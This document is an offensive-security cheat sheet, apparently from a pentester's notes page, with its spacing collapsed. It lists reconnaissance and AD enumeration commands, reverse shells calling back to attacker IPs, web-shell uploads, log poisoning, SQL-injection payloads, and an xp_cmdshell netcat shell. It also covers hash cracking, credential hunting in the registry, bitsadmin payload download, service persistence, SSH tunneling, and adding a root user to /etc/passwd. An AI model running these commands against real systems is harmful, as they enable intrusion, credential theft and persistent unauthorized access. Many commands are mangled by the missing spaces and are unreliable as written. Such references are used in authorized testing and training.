for x in700080009000; donmap-Pn–host_timeout201–max-retries0-p $x 1.1.1.1; done
DNS lookups, Zone Transfers & Brute-Force
whoisdomain.comdig{a|txt|ns|mx}domain.comdig{a|txt|ns|mx}domain.com@ns1.domain.comhost-t{a|txt|ns|mx}megacorpone.comhost-amegacorpone.comhost-lmegacorpone.comns1.megacorpone.comdnsrecon-dmegacorpone.com-taxfr@ns2.megacorpone.comdnsenumdomain.comnslookup ->settype=any ->ls-ddomain.comfor sub in $(catsubdomains.txt);do host $sub.domain.com|grep"has.address";done
Banner Grabbing
nc-v $TARGET 80telnet $TARGET 80curl-vX $TARGET
NFS Exported Shares
List NFS exported shares. If 'rw,no_root_squash' is present, upload and execute sid-shell
# current domain info[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()# domain trusts([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()# current forest info[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()#getforesttrustrelationships([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest','forest-of-interest.local')))).GetAllTrustRelationships()#getDCsofadomainnltest/dclist:offense.localnetgroup"domain controllers"/domain# get DC for currently authenticated sessionnltest/dsgetdc:offense.local#getdomaintrustsfromcmdshellnltest/domain_trusts# get user infonltest/user:"spotless"#getDCforcurrentlyauthenticatedsessionsetl#getdomainnameandDCtheuserauthenticatedtoklist#getalllogonsessions.IncludesNTLMauthenticatedsessionsklistsessions# kerberos tickets for the sessionklist# cached krbtgtklisttgt#whoamionolderWindowssystemssetu
r=Runtime.getRuntime(); p=r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
XTerm
xterm-display10.0.0.1:1
JDWP RCE
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
Working with Restricted Shells
# rare casessshbill@localhostls-l/tmp
nice/bin/bash
Interactive TTY Shells
/usr/bin/expectsh
python -c ‘import pty; pty.spawn(“/bin/sh”)’# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.ukpython -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
Uploading/POSTing Files Through WWW Upload Forms
# POST filecurl-XPOST-F"file=@/file/location/shell.php"http://$TARGET/upload.php--cookie"cookie"# POST binary data to web formcurl-F"field=<shell.zip"http://$TARGET/upld.php-F'k=v'--cookie"k=v;"-F"submit=true"-L-v
# Bruteforce based on the pattern;hashcat-a3-m0mantas?d?d?d?u?u?u--force--potfile-disable--stdout#Generatepasswordcandidates:wordlist+pattern;hashcat-a6-m0"e99a18c428cb38d5f260853678922e03"yourPassword|/usr/share/wordlists/rockyou.txt?d?d?d?u?u?u--force--potfile-disable--stdout# Generate NetNLTMv2 with internalMonologue and crack with hashcatInternalMonologue.exe-DowngradeFalse-RestoreFalse-ImpersonateTrue-VerboseFalse-challange002233445566778888800# resulting hashspotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000# crack with hashcathashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable
nc192.168.1.10280GET/<?phppassthru($_GET['cmd']); ?> HTTP/1.1Host:192.168.1.102Connection:close# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
# Assumed 3 columnshttp://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.sqlmap-rpost-request-pitem--level=5--risk=3--dbms=mysql--os-shell--threads10
# netcat reverse shell via mssql injection when xp_cmdshell is available1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--
# TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftpserviceatftpdstart#Windowstftp-i $ATTACKER get/download/location/file/save/location/file
FTP
# Linux: set up ftp server with anonymous logon access;twistd-nftp-p21-r/file/to/serve#Windowsshell:readFTPcommandsfromftp-commands.txtnon-interactively;echoopen $ATTACKER>ftp-commands.txtechoanonymous>>ftp-commands.txtechowhatever>>ftp-commands.txtechobinary>>ftp-commands.txtechogetfile.exe>>ftp-commands.txtechobye>>ftp-commands.txtftp-s:ftp-commands.txt# Or just a one-liner(echoopen10.11.0.245&echoanonymous&echowhatever&echobinary&echogetnc.exe&echobye) >ftp.txt&ftp-s:ftp.txt&nc.exe10.11.0.245443-ecmd
# 1. In Linux, convert binary to hex ascii:wine/usr/share/windows-binaries/exe2bat.exe/root/tools/netcat/nc.exenc.txt# 2. Paste nc.txt into Windows Shell.
HTTP: Windows BitsAdmin
cmd.exe/c"bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe
c:\unattend.xmlc:\sysprep.infc:\sysprep\sysprep.xmldirc:\*vnc.ini/s/bdirc:\*ultravnc.ini/s/bdirc:\ /s/b|findstr/si*vnc.inifindstr/sipassword*.txt|*.xml|*.inifindstr/sipass*.txt|*.xml|*.inidir/s*cred*==*pass*==*.conf# Windows Autologonregquery"HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"# VNCregquery"HKCU\Software\ORL\WinVNC3\Password"# Puttyregquery"HKCU\Software\SimonTatham\PuTTY\Sessions"#RegistryregqueryHKLM/fpassword/tREG_SZ/sregqueryHKCU/fpassword/tREG_SZ/s
Unquoted Service Path
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """
Persistence via Services
# cmdsccreatespotlessSrvbinpath="C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe"obj="LocalSystem"password=""# powershellNew-Service-NameEvilName-DisplayNameEvilSvc-BinaryPathName"'C:\Program Files\NotEvil\back.exe'"-Description"Not at all"
Port Forwarding / SSH Tunneling
SSH: Local Port Forwarding
# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;ssh-L127.0.0.1:8080:REMOTE_HOST:PORTuser@SSH_SERVER
SSH: Dynamic Port Forwarding
# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;ssh-D127.0.0.1:8080user@SSH_SERVER
SSH: Remote Port Forwarding
# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389# Scenario: expose RDP on non-routable network;ssh-R5555:LOCAL_HOST:3389user@SSH_SERVERplink-RATTACKER:ATTACKER_PORT:127.0.01:80-lroot-pwpwATTACKER_IP
Proxy Tunnel
# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;proxytunnel-pPROXY_HOST:3128-dDESTINATION_HOST:22-a5555sshuser@127.0.0.1-p5555
HTTP Tunnel: SSH Over HTTP
# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22hts-Flocalhost:2280#Client-openport8080.Redirectallincomingtraffictolocalhost:8080to192.168.1.15:80htc-F8080192.168.1.15:80#Client-connecttolocalhost:8080 ->gettunneledto192.168.1.15:80 ->getredirectedto192.168.1.15:22sshlocalhost-p8080
# Query the local db for a quick file find. Run updatedb before executing locate.locatepasswd# Show which file would be executed in the current environment, depending on $PATH environment variable;whichncwgetcurlphpperlpythonnetcattftptelnetftp# Search for *.conf (case-insensitive) files recursively starting with /etc;find/etc-iname*.conf
echo'spotless::0:0:root:/root:/bin/bash'>>/etc/passwd# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"sed's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./'/etc/shadow>/etc/s2; cat/etc/s2>/etc/shadow; rm/etc/s2